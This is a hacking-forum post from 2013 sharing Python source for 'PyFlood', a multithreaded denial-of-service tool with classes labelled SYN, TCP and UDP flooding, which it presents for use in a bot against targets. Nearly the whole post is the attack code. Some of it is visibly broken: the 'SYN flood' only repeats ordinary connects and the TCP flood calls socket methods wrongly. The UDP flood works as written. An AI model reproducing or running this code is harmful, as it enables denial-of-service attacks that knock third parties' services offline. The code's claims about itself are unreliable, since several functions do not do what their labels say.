Author Topic: [Source] PyFlood Dos Flooder [SYN/TCP/UDP]  (Read 9980 times)

0 Members and 1 Guest are viewing this topic.

Offline harvey

  • /dev/null
  • *
  • Posts: 8
  • Cookies: -3
    • View Profile
[Source] PyFlood Dos Flooder [SYN/TCP/UDP]
« on: September 28, 2013, 08:08:16 am »
PyFlood
--------------------------------------------------
A python DoS (Denial of Service) Flooder script for SYN / TCP / UDP flooding.

INFORMATION
This script contains a nice function written to aid you in a denial of service flood.
It includes a multithreaded, fast and clean SYN flood, TCP flood, and a UDP flood.

USAGE
Running the script by itself does nothing. This is just a snippet of each function listed.
Each function can be called by its name, and included in your bot, or whatever you use it for.
Allows full control over packet size and packets sent per thread created.

SOURCE CODE
http://pastebin.com/srxKvCat

Code: (python) [Select]
# PyFlood DoS Flooder
# Version 1.0.0
# Coded by InvisibleMan in Python 3.3.2
# Download : N/A
# File     : pyflood.py

#IMPORTS
import random
import socket
import sys
import threading

#SYN FLOOD
class synFlood(threading.Thread):
    def __init__(self, ip, port, packets):
        self.ip      = ip
        self.port    = port
        self.packets = packets
        self.syn     = socket.socket()
        threading.Thread.__init__(self)
    def run(self):
        for i in range(self.packets):
            try:
                self.syn.connect((self.ip, self.port))
            except:
                pass

#TCP FLOOD
class tcpFlood(threading.Thread):
    def __init__(self, ip, port, size, packets):
        self.ip      = ip
        self.port    = port
        self.size    = size
        self.packets = packets
        self.tcp     = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        threading.Thread.__init__(self)
    def run(self):
        for i in range(self.packets):
            try:
                bytes = random._urandom(self.size)
                socket.connect(self.ip, self.port)
                socket.setblocking(0)
                socket.sendto(bytes,(self.ip, self.port))
            except:
                pass

#UDP FLOOD
class udpFlood(threading.Thread):
    def __init__(self, ip, port, size, packets):
        self.ip      = ip
        self.port    = port
        self.size    = size
        self.packets = packets
        self.udp     = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
        threading.Thread.__init__(self)
    def run(self):
        for i in range(self.packets):
            try:
                bytes = random._urandom(self.size)
                if self.port == 0:
                    self.port = random.randrange(1, 65535)
                self.udp.sendto(bytes,(self.ip, self.port))
            except:
                pass
« Last Edit: September 28, 2013, 08:34:53 pm by Kulverstukas »